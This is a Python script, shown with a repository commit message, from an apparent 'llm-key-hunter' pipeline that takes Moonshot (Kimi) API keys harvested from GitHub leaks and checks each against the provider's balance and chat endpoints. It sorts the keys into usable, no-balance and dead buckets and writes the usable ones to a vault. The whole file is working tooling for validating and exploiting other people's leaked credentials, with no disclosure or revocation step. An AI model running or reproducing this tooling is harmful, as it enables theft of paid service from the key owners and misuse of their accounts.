- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
271 lines
9.4 KiB
Python
271 lines
9.4 KiB
Python
#!/usr/bin/env python3
|
|
"""Kimi (Moonshot AI) deep hunter.
|
|
|
|
Loads Moonshot keys from results/extracted_keys.txt and verifies them
|
|
against api.moonshot.cn using three layers:
|
|
|
|
1. GET /v1/users/me/balance — returns balance + cash_balance (CNY)
|
|
2. POST /v1/chat/completions — model moonshot-v1-8k
|
|
3. POST /v1/chat/completions — model kimi-k2-0905-preview (K2 long-context)
|
|
|
|
Classification rule (anything NOT 401 is kept):
|
|
- 200 with balance > 0 / chat OK → USABLE
|
|
- balance 0 / 402 / 429 → NO_BALANCE (key valid)
|
|
- 400 / 403 / 404 / 5xx → NO_ACCESS (key valid, model issue)
|
|
- network / timeout → UNKNOWN
|
|
- 401 → DEAD (discard only this)
|
|
|
|
Outputs in results/kimi/.
|
|
"""
|
|
|
|
import argparse
|
|
import json
|
|
import re
|
|
import sys
|
|
import time
|
|
import urllib.request
|
|
import urllib.error
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from pathlib import Path
|
|
|
|
HERE = Path(__file__).parent
|
|
OUT = HERE / "results" / "kimi"
|
|
OUT.mkdir(parents=True, exist_ok=True)
|
|
SOURCE = HERE / "results" / "extracted_keys.txt"
|
|
|
|
UA = "curl/8.5.0"
|
|
BASE = "https://api.moonshot.cn"
|
|
|
|
|
|
def http(method, path, key, body=None, timeout=20):
|
|
url = f"{BASE}{path}"
|
|
headers = {
|
|
"User-Agent": UA,
|
|
"Accept": "*/*",
|
|
"Authorization": f"Bearer {key}",
|
|
}
|
|
data = None
|
|
if body is not None:
|
|
data = json.dumps(body).encode()
|
|
headers["Content-Type"] = "application/json"
|
|
req = urllib.request.Request(url, data=data, headers=headers, method=method)
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
|
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
|
|
except urllib.error.HTTPError as e:
|
|
try:
|
|
return e.code, e.read().decode("utf-8", errors="replace")
|
|
except Exception:
|
|
return e.code, ""
|
|
except Exception as e:
|
|
return 0, f"network: {type(e).__name__}: {e}"
|
|
|
|
|
|
def classify_balance(code, body):
|
|
if code == 200:
|
|
try:
|
|
data = json.loads(body)
|
|
except json.JSONDecodeError:
|
|
return "USABLE", f"balance: {body[:120]}"
|
|
# Moonshot returns: {"balance":xxx,"cash_balance":xxx,...} or
|
|
# {"success":true,"data":{"balance":...}} on some accounts
|
|
bal = None
|
|
if isinstance(data, dict):
|
|
inner = data.get("data") if isinstance(data.get("data"), dict) else data
|
|
avail = inner.get("available_balance")
|
|
if avail is None:
|
|
avail = inner.get("balance")
|
|
cash = inner.get("cash_balance")
|
|
if avail is not None:
|
|
try:
|
|
val = float(avail)
|
|
if val > 0:
|
|
return "USABLE", f"balance: CNY {val}"
|
|
# available=0 — try voucher balance or check arrears
|
|
voucher = inner.get("voucher_balance", 0)
|
|
try:
|
|
if float(voucher) > 0:
|
|
return "USABLE", f"voucher: CNY {voucher}"
|
|
except (TypeError, ValueError):
|
|
pass
|
|
return "NO_BALANCE", f"balance=0 cash={cash}: {body[:120]}"
|
|
except (TypeError, ValueError):
|
|
pass
|
|
return "USABLE", f"balance: {body[:120]}"
|
|
if code in (402, 429):
|
|
return "NO_BALANCE", f"HTTP {code}: {body[:140]}"
|
|
if code == 401:
|
|
return "DEAD", "401 unauthorized"
|
|
if code == 0:
|
|
return "UNKNOWN", body[:160]
|
|
return "NO_ACCESS", f"balance HTTP {code}: {body[:140]}"
|
|
|
|
|
|
def classify_chat(code, body, model):
|
|
bl = (body or "").lower()
|
|
if code == 200:
|
|
if '"choices"' in bl or '"id"' in bl:
|
|
return "USABLE", f"chat {model}: 200"
|
|
if any(x in bl for x in ("balance", "quota", "arrearage", "insufficient")):
|
|
return "NO_BALANCE", f"chat {model}: {body[:120]}"
|
|
return "USABLE", f"chat {model}: {body[:120]}"
|
|
if code in (402, 429):
|
|
return "NO_BALANCE", f"chat {model} HTTP {code}: {body[:120]}"
|
|
if code == 401:
|
|
return "DEAD", f"chat {model}: 401"
|
|
if code == 0:
|
|
return "UNKNOWN", body[:160]
|
|
return "NO_ACCESS", f"chat {model} HTTP {code}: {body[:140]}"
|
|
|
|
|
|
def verify(key):
|
|
rank = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
|
|
best = "DEAD"
|
|
best_detail = ""
|
|
|
|
def update(v, d):
|
|
nonlocal best, best_detail
|
|
if rank[v] > rank[best]:
|
|
best, best_detail = v, d
|
|
|
|
# 1) balance
|
|
code, body = http("GET", "/v1/users/me/balance", key)
|
|
update(*classify_balance(code, body))
|
|
if best == "USABLE":
|
|
return best, best_detail
|
|
|
|
# 2) chat — moonshot-v1-8k (default cheap model)
|
|
code, body = http("POST", "/v1/chat/completions", key, body={
|
|
"model": "moonshot-v1-8k",
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
"max_tokens": 1,
|
|
})
|
|
update(*classify_chat(code, body, "v1-8k"))
|
|
if best == "USABLE":
|
|
return best, best_detail
|
|
|
|
# 3) chat — kimi-k2 (long-context / reasoning-capable, some keys only have this)
|
|
code, body = http("POST", "/v1/chat/completions", key, body={
|
|
"model": "kimi-k2-0905-preview",
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
"max_tokens": 1,
|
|
})
|
|
update(*classify_chat(code, body, "k2"))
|
|
|
|
return best, best_detail
|
|
|
|
|
|
def load_keys():
|
|
keys = {}
|
|
fakes = ("xxxx", "your-", "example", "test-key", "placeholder", "sk-00000000")
|
|
# Moonshot keys: sk- + 48 chars (mixed case letters/digits). Some newer
|
|
# keys are hex-only 32 chars like DeepSeek, but to avoid false positives
|
|
# with OpenAI sk- keys we require the documented 48-char form OR a 32-hex
|
|
# form that did not match OpenAI patterns.
|
|
pat_long = re.compile(r"^sk-[A-Za-z0-9]{48}$")
|
|
pat_hex = re.compile(r"^sk-[a-f0-9]{32}$")
|
|
if not SOURCE.exists():
|
|
print(f"ERROR: {SOURCE} not found", file=sys.stderr)
|
|
sys.exit(1)
|
|
with open(SOURCE) as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if not line.startswith("Moonshot|"):
|
|
continue
|
|
parts = line.split("|", 3)
|
|
if len(parts) < 3:
|
|
continue
|
|
key = parts[1]
|
|
url = parts[2] if len(parts) > 2 else ""
|
|
low = key.lower()
|
|
if any(x in low for x in fakes):
|
|
continue
|
|
if "T3BlbkFJ" in key: # this is actually an OpenAI key
|
|
continue
|
|
if not (pat_long.match(key) or pat_hex.match(key)):
|
|
continue
|
|
if key not in keys:
|
|
keys[key] = url
|
|
|
|
with open(OUT / "extracted_keys.txt", "w") as f:
|
|
for k, src in sorted(keys.items()):
|
|
f.write(f"{k}|{src}\n")
|
|
print(f"Loaded {len(keys)} unique Moonshot keys")
|
|
return keys
|
|
|
|
|
|
def main():
|
|
ap = argparse.ArgumentParser()
|
|
ap.add_argument("--workers", type=int, default=15)
|
|
ap.add_argument("--limit", type=int, default=0)
|
|
args = ap.parse_args()
|
|
|
|
keys = load_keys()
|
|
if args.limit:
|
|
keys = dict(list(keys.items())[:args.limit])
|
|
print(f" (limited to first {args.limit})")
|
|
|
|
if not keys:
|
|
print("No keys to verify.")
|
|
return
|
|
|
|
print(f"\nDeep verifying {len(keys)} Kimi keys against api.moonshot.cn (workers={args.workers})...")
|
|
print("Rule: only 401 = dead; everything else kept.\n")
|
|
|
|
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
|
|
start = time.time()
|
|
processed = 0
|
|
|
|
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
|
futs = {pool.submit(verify, k): (k, s) for k, s in keys.items()}
|
|
for fut in as_completed(futs):
|
|
k, s = futs[fut]
|
|
processed += 1
|
|
try:
|
|
verdict, detail = fut.result()
|
|
except Exception as e:
|
|
verdict, detail = "UNKNOWN", str(e)
|
|
buckets[verdict].append((k, s, detail))
|
|
if processed % 50 == 0:
|
|
el = time.time() - start
|
|
print(f" [{processed}/{len(keys)}] "
|
|
f"usable={len(buckets['USABLE'])} "
|
|
f"nobal={len(buckets['NO_BALANCE'])} "
|
|
f"noacc={len(buckets['NO_ACCESS'])} "
|
|
f"unk={len(buckets['UNKNOWN'])} "
|
|
f"dead={len(buckets['DEAD'])} "
|
|
f"({processed/el:.1f}/s)")
|
|
|
|
el = time.time() - start
|
|
print(f"\nDone in {el:.1f}s")
|
|
for n in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
|
|
print(f" {n:11s}: {len(buckets[n])}")
|
|
|
|
for name, path in [
|
|
("USABLE", OUT / "usable.txt"),
|
|
("NO_BALANCE", OUT / "no_balance.txt"),
|
|
("NO_ACCESS", OUT / "no_access.txt"),
|
|
("UNKNOWN", OUT / "unknown.txt"),
|
|
("DEAD", OUT / "dead.txt"),
|
|
]:
|
|
with open(path, "w") as f:
|
|
for k, s, d in sorted(buckets[name]):
|
|
f.write(f"{k}|{s}|{d}\n")
|
|
print(f" written: {path}")
|
|
|
|
with open(OUT / "all_non_401.txt", "w") as f:
|
|
for n in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
|
|
for k, s, d in sorted(buckets[n]):
|
|
f.write(f"{n}|{k}|{s}|{d}\n")
|
|
print(f" written: {OUT / 'all_non_401.txt'}")
|
|
|
|
if buckets["USABLE"]:
|
|
print("\n=== USABLE keys ===")
|
|
for k, s, d in sorted(buckets["USABLE"]):
|
|
print(f" {k} {d}")
|
|
print(f" src: {s}")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|